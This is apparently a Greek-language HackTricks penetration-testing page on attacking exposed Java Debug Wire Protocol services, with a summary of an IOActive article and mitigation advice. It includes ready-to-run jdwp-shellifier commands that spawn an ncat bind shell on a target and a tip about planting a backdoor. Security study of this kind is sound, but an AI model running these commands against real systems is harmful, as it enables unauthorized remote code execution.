9.8 KiB
Ελέγχος ασφάλειας JDWP - Πρωτόκολλο Αποσφαλμάτωσης Καλωδίου Java
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Εκμετάλλευση
Η εκμετάλλευση του JDWP βασίζεται στην έλλειψη πιστοποίησης και κρυπτογράφησης του πρωτοκόλλου. Συνήθως βρίσκεται στη θύρα 8000, αλλά είναι δυνατή η χρήση και άλλων θυρών. Η αρχική σύνδεση γίνεται αποστέλλοντας ένα "JDWP-Handshake" στη θύρα προορισμού. Εάν ένα JDWP service είναι ενεργό, απαντά με τον ίδιο συμβολοσειριακό χαρακτήρα, επιβεβαιώνοντας την παρουσία του. Αυτή η αναγνώριση λειτουργεί ως μέθοδος αποτύπωσης για την εντοπισμό των υπηρεσιών JDWP στο δίκτυο.
Όσον αφορά τον εντοπισμό διεργασιών, η αναζήτηση της συμβολοσειράς "jdwk" σε διεργασίες Java μπορεί να υποδείξει μια ενεργή συνεδρία JDWP.
Το εργαλείο που χρησιμοποιείται είναι το jdwp-shellifier. Μπορείτε να το χρησιμοποιήσετε με διάφορες παραμέτρους:
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
Ανακάλυψα ότι η χρήση της επιλογής --break-on 'java.lang.String.indexOf'
καθιστά την εκμετάλλευση πιο σταθερή. Και αν έχετε τη δυνατότητα να ανεβάσετε ένα backdoor στον κεντρικό υπολογιστή και να το εκτελέσετε αντί να εκτελέσετε μια εντολή, η εκμετάλλευση θα είναι ακόμα πιο σταθερή.
Περισσότερες λεπτομέρειες
Αυτό είναι ένα σύνοψη του https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Ελέγξτε το για περαιτέρω λεπτομέρειες.
- Επισκόπηση JDWP:
- Είναι ένα πρωτόκολλο δικτύου βασισμένο σε πακέτα, κυρίως συγχρονισμένο.
- Δεν διαθέτει πιστοποίηση και κρυπτογράφηση, καθιστώντας το ευάλωτο όταν εκτίθεται σε εχθρικά δίκτυα.
- Χειραψία JDWP:
- Χρησιμοποιείται ένα απλό διαδικαστικό χειραψίας για την έναρξη της επικοινωνίας. Ανταλλάσσεται μια συμβολοσειρά ASCII 14 χαρακτήρων "JDWP-Handshake" μεταξύ του Debugger (πελάτη) και του Debuggee (διακομιστή).
- Επικοινωνία JDWP:
- Τα μηνύματα έχουν μια απλή δομή με πεδία όπως Μήκος, Αναγνωριστικό, Σημαία και ΣύνολοΕντολών.
- Οι τιμές του ΣυνόλουΕντολών κυμαίνονται από 0x40 έως 0x80, αντιπροσωπεύοντας διάφορες ενέργειες και γεγονότα.
- Εκμετάλλευση:
- Το JDWP επιτρέπει τη φόρτωση και την κλήση αυθαίρετων κλάσεων και bytecode, δημιουργώντας κινδύνους για την ασφάλεια.
- Το άρθρο περιγράφει μια διαδικασία εκμετάλλευσης σε πέντε βήματα, που περιλαμβάνει την ανάκτηση αναφορών της Java Runtime, την ορισμό σημείων διακοπής και την κλήση μεθόδων.
- Εκμετάλλευση στην πραγματική ζωή:
- Παρά τις πιθανές προστασίες του τείχους προστασίας, οι υπηρεσίες JDWP είναι ανακαλύψιμες και εκμεταλλεύσιμες σε πραγματικά σενάρια, όπως αποδεικνύουν αναζητήσεις σε πλατφόρμες όπως το ShodanHQ και το GitHub.
- Το σενάριο εκμετάλλευσης δοκιμάστηκε σε διάφορες εκδόσεις του JDK και είναι ανεξάρτητο από την πλατφόρμα, προσφέροντας αξιόπιστη εκτέλεση κώδικα απομακρυσμένα (RCE).
- Ασφαλείς Επιπτώσεις:
- Η παρουσία ανοιχτών υπηρεσιών JDWP στο διαδίκτυο υπογραμμίζει την ανάγκη για τακτικές αναθεωρήσεις ασφαλείας, απενεργοποίησης λειτουργιών αποσφαλμάτωσης σε παραγωγή και κατάλληλων ρυθμίσεων τείχους προστασίας.
Αναφορές:
- [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/]
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Συμμετάσχετε 💬 στην ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα αποθετήρια του HackTricks και του HackTricks Cloud στο GitHub.